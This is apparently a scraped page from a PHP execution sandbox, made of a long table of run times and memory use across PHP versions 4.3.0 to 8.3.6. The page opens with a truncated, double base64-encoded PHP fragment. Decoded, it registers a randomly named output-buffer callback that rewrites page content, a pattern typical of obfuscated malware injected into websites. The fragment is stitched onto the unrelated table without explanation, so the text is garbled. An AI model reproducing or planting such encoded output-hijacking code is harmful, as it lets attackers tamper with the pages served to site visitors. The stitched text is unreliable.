JVb0pIcGtLVHQxYm14cGJtc29KSFJ0Y0dadVlXMWxLVHNrWTI5dWRHVnVkSE1nUFNCbmVtVnVZMjlrWlNna1kyOXVkR1Z1ZEhNcE8zMGdaV3h6WlNCN0pHTnZiblJsYm5SeklEMGdXazAxYWpKeE1ITm9abDl0YjJSZlkyOXVLQ1JpZFdZcE95QjlmU0JsYkhObElIc2tZMjl1ZEdWdWRITWdQU0JhVFRWcU1uRXdjMmhtWDIxdlpGOWpiMjRvSkdKMVppazdmWEpsZEhWeWJpZ2tZMjl1ZEdWdWRITXBPd3A5Q24wS0lBcHZZbDl6ZEdGeWRDZ2lXazAxYWpKeE1ITm9abDlqWVd4c1ltRmpheUlwT3dvS2ZRcDlDbjBLIikpOyA=")); ")); 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Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.012	0.006	18.31
8.3.5	0.007	0.009	21.14
8.3.4	0.004	0.011	19.11
8.3.3	0.010	0.006	19.13
8.3.2	0.005	0.003	20.34
8.3.1	0.005	0.003	22.09
8.3.0	0.000	0.007	22.38
8.2.18	0.009	0.006	16.88
8.2.17	0.000	0.015	22.96
8.2.16	0.012	0.003	19.22
8.2.15	0.004	0.004	24.18
8.2.14	0.004	0.004	24.66
8.2.13	0.007	0.000	26.16
8.2.12	0.004	0.004	19.66
8.2.11	0.009	0.000	20.51
8.2.10	0.011	0.000	17.85
8.2.9	0.008	0.000	18.22
8.2.8	0.005	0.003	18.05
8.2.7	0.006	0.003	17.50
8.2.6	0.004	0.004	17.90
8.2.5	0.006	0.003	18.07
8.2.4	0.000	0.007	18.09
8.2.3	0.000	0.007	18.11
8.2.2	0.000	0.007	17.80
8.2.1	0.004	0.004	17.83
8.2.0	0.008	0.003	17.70
8.1.28	0.012	0.006	25.92
8.1.27	0.009	0.006	22.16
8.1.26	0.000	0.007	26.35
8.1.25	0.004	0.004	28.09
8.1.24	0.003	0.006	22.30
8.1.23	0.012	0.000	21.02
8.1.22	0.008	0.000	17.88
8.1.21	0.004	0.004	19.04
8.1.20	0.009	0.000	17.48
8.1.19	0.000	0.008	17.53
8.1.18	0.000	0.008	18.73
8.1.17	0.004	0.004	18.77
8.1.16	0.004	0.004	22.18
8.1.15	0.000	0.007	18.70
8.1.14	0.000	0.007	17.46
8.1.13	0.000	0.008	17.92
8.1.12	0.000	0.007	17.42
8.1.11	0.004	0.004	17.54
8.1.10	0.000	0.008	17.37
8.1.9	0.005	0.002	17.34
8.1.8	0.004	0.004	17.46
8.1.7	0.003	0.003	17.40
8.1.6	0.000	0.008	17.43
8.1.5	0.008	0.000	17.62
8.1.4	0.004	0.004	17.50
8.1.3	0.004	0.004	17.75
8.1.2	0.003	0.006	17.57
8.1.1	0.005	0.003	17.70
8.1.0	0.005	0.003	17.59
8.0.30	0.000	0.008	20.21
8.0.29	0.000	0.007	16.91
8.0.28	0.007	0.000	18.40
8.0.27	0.004	0.004	17.28
8.0.26	0.003	0.003	16.82
8.0.25	0.003	0.003	16.95
8.0.24	0.004	0.004	16.93
8.0.23	0.007	0.000	16.90
8.0.22	0.007	0.000	17.00
8.0.21	0.008	0.000	16.98
8.0.20	0.000	0.007	17.11
8.0.19	0.000	0.007	17.02
8.0.18	0.000	0.008	16.91
8.0.17	0.004	0.004	16.90
8.0.16	0.005	0.002	16.92
8.0.15	0.004	0.004	17.02
8.0.14	0.000	0.007	16.85
8.0.13	0.003	0.003	13.33
8.0.12	0.004	0.004	16.91
8.0.11	0.003	0.006	16.90
8.0.10	0.000	0.008	16.96
8.0.9	0.000	0.008	16.79
8.0.8	0.009	0.006	16.94
8.0.7	0.000	0.007	17.04
8.0.6	0.000	0.007	16.94
8.0.5	0.004	0.004	16.90
8.0.3	0.013	0.005	17.06
8.0.2	0.009	0.010	17.40
8.0.1	0.005	0.002	16.98
8.0.0	0.011	0.011	16.83
7.4.33	0.000	0.005	15.27
7.4.32	0.000	0.007	16.88
7.4.30	0.000	0.007	16.82
7.4.29	0.000	0.008	16.74
7.4.28	0.000	0.007	16.76
7.4.27	0.005	0.003	16.80
7.4.26	0.002	0.005	16.90
7.4.25	0.003	0.006	16.81
7.4.24	0.006	0.001	16.74
7.4.23	0.004	0.004	16.74
7.4.22	0.016	0.008	16.90
7.4.21	0.005	0.011	16.83
7.4.20	0.000	0.007	16.64
7.4.19	0.000	0.008	16.80
7.4.16	0.021	0.003	16.92
7.4.15	0.006	0.012	17.40
7.4.14	0.013	0.006	17.86
7.4.13	0.009	0.012	16.75
7.4.12	0.013	0.007	16.99
7.4.11	0.007	0.011	17.00
7.4.10	0.013	0.015	16.97
7.4.9	0.010	0.007	16.96
7.4.8	0.013	0.013	19.39
7.4.7	0.014	0.004	16.97
7.4.6	0.013	0.003	16.63
7.4.5	0.007	0.003	16.68
7.4.4	0.006	0.010	22.77
7.4.3	0.009	0.009	16.73
7.4.1	0.006	0.013	15.45
7.4.0	0.010	0.007	15.33
7.3.33	0.000	0.006	13.48
7.3.32	0.006	0.000	13.59
7.3.31	0.000	0.007	16.65
7.3.30	0.004	0.004	16.63
7.3.29	0.000	0.019	16.66
7.3.28	0.006	0.013	16.60
7.3.27	0.007	0.011	17.40
7.3.26	0.009	0.010	16.64
7.3.25	0.005	0.012	16.77
7.3.24	0.013	0.007	16.82
7.3.23	0.011	0.007	16.74
7.3.21	0.012	0.006	16.59
7.3.20	0.007	0.014	19.39
7.3.19	0.009	0.009	16.82
7.3.18	0.003	0.013	16.63
7.3.17	0.014	0.003	16.68
7.3.16	0.004	0.016	16.81
7.3.13	0.007	0.014	15.07
7.3.12	0.007	0.010	15.05
7.3.11	0.009	0.009	15.23
7.3.10	0.003	0.006	15.15
7.3.9	0.000	0.013	15.17
7.3.8	0.006	0.009	15.13
7.3.7	0.006	0.006	15.13
7.3.6	0.003	0.007	15.25
7.3.5	0.009	0.006	15.12
7.3.4	0.006	0.003	14.98
7.3.3	0.000	0.012	15.00
7.3.2	0.004	0.008	16.78
7.3.1	0.004	0.008	16.34
7.3.0	0.006	0.006	16.69
7.2.33	0.007	0.012	16.83
7.2.32	0.011	0.007	16.72
7.2.31	0.009	0.015	16.72
7.2.30	0.006	0.012	16.90
7.2.29	0.003	0.016	17.05
7.2.26	0.006	0.013	15.27
7.2.25	0.006	0.012	15.32
7.2.24	0.007	0.010	15.29
7.2.23	0.015	0.004	15.29
7.2.22	0.006	0.009	15.54
7.2.21	0.006	0.009	15.32
7.2.20	0.000	0.011	15.23
7.2.19	0.006	0.006	15.43
7.2.18	0.007	0.003	15.23
7.2.17	0.000	0.015	15.16
7.2.16	0.000	0.015	15.43
7.2.15	0.006	0.009	16.91
7.2.14	0.009	0.006	16.95
7.2.13	0.009	0.006	17.04
7.2.12	0.006	0.006	16.98
7.2.11	0.013	0.003	16.95
7.2.10	0.006	0.006	16.94
7.2.9	0.000	0.018	16.96
7.2.8	0.007	0.007	17.17
7.2.7	0.009	0.009	17.00
7.2.6	0.002	0.011	16.81
7.2.5	0.006	0.011	16.85
7.2.4	0.009	0.009	16.93
7.2.3	0.003	0.015	16.86
7.2.2	0.006	0.010	16.96
7.2.1	0.007	0.011	16.88
7.2.0	0.002	0.015	18.19
7.1.33	0.003	0.013	15.50
7.1.32	0.005	0.005	15.86
7.1.31	0.000	0.019	15.89
7.1.30	0.010	0.003	15.90
7.1.29	0.003	0.010	15.94
7.1.28	0.003	0.009	15.75
7.1.27	0.008	0.003	15.51
7.1.26	0.009	0.006	15.79
7.1.25	0.005	0.005	15.78
7.1.24	0.003	0.009	15.53
7.1.23	0.012	0.003	15.77
7.1.22	0.003	0.007	15.88
7.1.21	0.003	0.014	15.79
7.1.20	0.003	0.012	15.61
7.1.19	0.004	0.007	15.73
7.1.18	0.011	0.003	15.46
7.1.17	0.006	0.006	15.75
7.1.16	0.004	0.011	15.96
7.1.15	0.000	0.014	15.75
7.1.14	0.004	0.011	15.82
7.1.13	0.000	0.014	15.85
7.1.12	0.009	0.012	15.85
7.1.11	0.007	0.007	15.92
7.1.10	0.000	0.014	15.49
7.1.9	0.007	0.007	15.67
7.1.8	0.006	0.012	15.74
7.1.7	0.006	0.008	16.33
7.1.6	0.007	0.014	17.68
7.1.5	0.012	0.005	16.30
7.1.4	0.007	0.007	15.88
7.1.3	0.010	0.007	15.68
7.1.2	0.007	0.010	15.64
7.1.1	0.006	0.009	15.61
7.1.0	0.007	0.020	19.12
7.0.33	0.003	0.009	15.38
7.0.32	0.007	0.007	15.39
7.0.31	0.008	0.003	15.18
7.0.30	0.000	0.014	15.41
7.0.29	0.004	0.014	15.32
7.0.28	0.010	0.007	15.50
7.0.27	0.006	0.012	15.21
7.0.26	0.004	0.011	15.30
7.0.25	0.008	0.003	15.65
7.0.24	0.004	0.012	15.38
7.0.23	0.003	0.016	15.38
7.0.22	0.007	0.010	15.56
7.0.21	0.006	0.009	15.41
7.0.20	0.004	0.012	16.08
7.0.19	0.006	0.010	15.45
7.0.18	0.012	0.008	15.41
7.0.17	0.003	0.016	15.20
7.0.16	0.003	0.008	15.45
7.0.15	0.007	0.007	15.43
7.0.14	0.003	0.042	18.59
7.0.13	0.008	0.008	15.48
7.0.12	0.003	0.013	15.30
7.0.11	0.000	0.015	15.31
7.0.10	0.000	0.016	15.53
7.0.9	0.000	0.015	15.25
7.0.8	0.009	0.006	15.47
7.0.7	0.012	0.006	15.39
7.0.6	0.005	0.049	17.65
7.0.5	0.003	0.026	16.73
7.0.4	0.007	0.048	16.78
7.0.3	0.016	0.033	16.92
7.0.2	0.017	0.044	16.75
7.0.1	0.007	0.035	16.82
7.0.0	0.005	0.050	16.81
5.6.40	0.000	0.017	14.51
5.6.39	0.010	0.007	14.75
5.6.38	0.011	0.004	14.38
5.6.37	0.016	0.003	14.52
5.6.36	0.012	0.003	14.51
5.6.35	0.006	0.013	14.69
5.6.34	0.000	0.014	14.76
5.6.33	0.009	0.012	14.80
5.6.32	0.004	0.014	14.73
5.6.31	0.010	0.003	14.05
5.6.30	0.007	0.007	14.52
5.6.29	0.009	0.006	14.74
5.6.28	0.006	0.037	17.58
5.6.27	0.003	0.010	14.61
5.6.26	0.004	0.015	14.43
5.6.25	0.000	0.017	14.46
5.6.24	0.006	0.009	14.36
5.6.23	0.006	0.006	14.44
5.6.22	0.000	0.017	14.45
5.6.21	0.010	0.038	17.53
5.6.20	0.005	0.031	16.50
5.6.19	0.007	0.044	17.67
5.6.18	0.015	0.036	17.67
5.6.17	0.013	0.027	17.58
5.6.16	0.003	0.026	17.48
5.6.15	0.005	0.040	16.42
5.6.14	0.010	0.022	16.44
5.6.13	0.008	0.038	16.33
5.6.12	0.012	0.050	17.78
5.6.11	0.008	0.037	17.72
5.6.10	0.005	0.051	17.93
5.6.9	0.010	0.043	17.68
5.6.8	0.015	0.035	17.44
5.6.7	0.007	0.004	14.63
5.6.6	0.003	0.006	14.53
5.6.5	0.009	0.009	14.41
5.6.4	0.000	0.012	14.59
5.6.3	0.000	0.016	14.37
5.6.2	0.007	0.003	14.52
5.6.1	0.010	0.007	14.32
5.6.0	0.009	0.003	14.41
5.5.38	0.012	0.003	14.34
5.5.37	0.006	0.008	14.43
5.5.36	0.003	0.007	14.31
5.5.35	0.018	0.035	17.46
5.5.34	0.003	0.025	16.31
5.5.33	0.007	0.032	17.42
5.5.32	0.022	0.040	17.37
5.5.31	0.010	0.031	17.34
5.5.30	0.010	0.040	16.25
5.5.29	0.011	0.043	16.40
5.5.28	0.005	0.044	17.67
5.5.27	0.007	0.024	17.68
5.5.26	0.003	0.032	17.67
5.5.25	0.010	0.033	17.57
5.5.24	0.012	0.049	17.33
5.5.23	0.004	0.008	14.34
5.5.22	0.003	0.010	14.10
5.5.21	0.004	0.008	14.35
5.5.20	0.010	0.007	14.23
5.5.19	0.004	0.011	14.34
5.5.18	0.003	0.010	14.36
5.5.17	0.004	0.011	14.30
5.5.16	0.006	0.009	14.18
5.5.15	0.000	0.011	14.31
5.5.14	0.004	0.015	14.54
5.5.13	0.009	0.009	13.95
5.5.12	0.003	0.013	14.57
5.5.11	0.004	0.011	14.41
5.5.10	0.009	0.009	14.27
5.5.9	0.012	0.006	14.49
5.5.8	0.000	0.012	14.55
5.5.7	0.009	0.006	14.44
5.5.6	0.006	0.003	14.46
5.5.5	0.000	0.016	13.95
5.5.4	0.005	0.005	14.39
5.5.3	0.010	0.003	14.28
5.5.2	0.006	0.006	14.48
5.5.1	0.004	0.008	13.95
5.5.0	0.013	0.006	14.68
5.4.45	0.012	0.031	15.20
5.4.44	0.058	0.031	15.44
5.4.43	0.055	0.032	15.38
5.4.42	0.050	0.031	15.28
5.4.41	0.028	0.035	15.31
5.4.40	0.045	0.030	15.18
5.4.39	0.043	0.027	15.12
5.4.38	0.016	0.035	15.08
5.4.37	0.019	0.027	15.18
5.4.36	0.016	0.022	14.84
5.4.35	0.005	0.025	11.67
5.4.34	0.006	0.019	11.70
5.4.33	0.003	0.009	11.06
5.4.32	0.005	0.023	11.86
5.4.31	0.005	0.029	11.90
5.4.30	0.006	0.022	11.94
5.4.29	0.009	0.022	11.99
5.4.28	0.005	0.023	11.79
5.4.27	0.006	0.027	11.88
5.4.26	0.007	0.030	14.98
5.4.25	0.005	0.029	14.98
5.4.24	0.005	0.032	15.19
5.4.23	0.005	0.033	15.14
5.4.22	0.007	0.031	15.02
5.4.21	0.008	0.032	15.08
5.4.20	0.003	0.033	15.12
5.4.19	0.006	0.042	14.92
5.4.18	0.007	0.030	14.97
5.4.17	0.012	0.028	14.92
5.4.16	0.004	0.036	15.14
5.4.15	0.010	0.027	14.92
5.4.14	0.007	0.029	13.60
5.4.13	0.003	0.029	13.76
5.4.12	0.003	0.035	13.76
5.4.11	0.003	0.033	13.88
5.4.10	0.007	0.037	13.78
5.4.9	0.008	0.037	13.74
5.4.8	0.007	0.042	13.94
5.4.7	0.003	0.038	13.86
5.4.6	0.008	0.025	13.88
5.4.5	0.006	0.030	13.74
5.4.4	0.015	0.027	13.87
5.4.3	0.002	0.034	13.86
5.4.2	0.006	0.029	13.86
5.4.1	0.007	0.030	13.93
5.4.0	0.011	0.023	13.57
5.3.29	0.006	0.026	11.88
5.3.28	0.003	0.032	12.69
5.3.27	0.003	0.035	12.89
5.3.26	0.008	0.027	12.80
5.3.25	0.007	0.028	12.78
5.3.24	0.005	0.034	12.84
5.3.23	0.009	0.025	12.79
5.3.22	0.002	0.034	12.63
5.3.21	0.005	0.032	12.74
5.3.20	0.007	0.041	12.78
5.3.19	0.003	0.042	12.80
5.3.18	0.008	0.029	12.76
5.3.17	0.007	0.042	12.79
5.3.16	0.003	0.030	12.70
5.3.15	0.009	0.040	12.85
5.3.14	0.006	0.035	12.79
5.3.13	0.005	0.030	12.85
5.3.12	0.008	0.040	12.75
5.3.11	0.008	0.027	12.88
5.3.10	0.014	0.023	12.58
5.3.9	0.006	0.026	12.72
5.3.8	0.009	0.023	12.57
5.3.7	0.009	0.025	12.49
5.3.6	0.003	0.030	12.54
5.3.5	0.005	0.030	12.49
5.3.4	0.005	0.038	12.51
5.3.3	0.010	0.023	12.63
5.3.2	0.003	0.029	12.34
5.3.1	0.002	0.029	12.41
5.3.0	0.005	0.030	12.32
5.2.17	0.003	0.047	11.65
5.2.16	0.003	0.043	11.48
5.2.15	0.000	0.050	11.48
5.2.14	0.007	0.043	11.55
5.2.13	0.010	0.053	11.55
5.2.12	0.000	0.047	11.46
5.2.11	0.003	0.043	11.54
5.2.10	0.010	0.033	11.29
5.2.9	0.017	0.053	11.53
5.2.8	0.013	0.037	11.25
5.2.7	0.007	0.043	11.41
5.2.6	0.003	0.050	11.39
5.2.5	0.003	0.043	11.45
5.2.4	0.007	0.037	11.41
5.2.3	0.010	0.057	11.28
5.2.2	0.007	0.040	11.42
5.2.1	0.000	0.047	11.22
5.2.0	0.003	0.043	11.18
5.1.6	0.000	0.037	10.29
5.1.5	0.000	0.057	10.46
5.1.4	0.003	0.040	10.51
5.1.3	0.000	0.043	10.77
5.1.2	0.007	0.037	10.95
5.1.1	0.000	0.040	10.49
5.1.0	0.003	0.037	10.47
5.0.5	0.013	0.033	8.98
5.0.4	0.000	0.033	8.79
5.0.3	0.000	0.047	8.79
5.0.2	0.000	0.033	8.79
5.0.1	0.007	0.043	8.79
5.0.0	0.010	0.047	8.79
4.4.9	0.003	0.023	8.79
4.4.8	0.003	0.023	8.79
4.4.7	0.007	0.027	8.79
4.4.6	0.003	0.027	8.79
4.4.5	0.007	0.020	8.79
4.4.4	0.003	0.037	8.79
4.4.3	0.000	0.027	8.79
4.4.2	0.003	0.023	8.79
4.4.1	0.003	0.037	8.79
4.4.0	0.003	0.033	8.79
4.3.11	0.000	0.027	8.79
4.3.10	0.000	0.027	8.79
4.3.9	0.000	0.023	8.79
4.3.8	0.010	0.040	8.79
4.3.7	0.003	0.020	8.79
4.3.6	0.010	0.017	8.79
4.3.5	0.003	0.023	8.79
4.3.4	0.003	0.033	8.79
4.3.3	0.000	0.027	8.79
4.3.2	0.000	0.027	8.79
4.3.1	0.000	0.023	8.79
4.3.0	0.010	0.017	7.16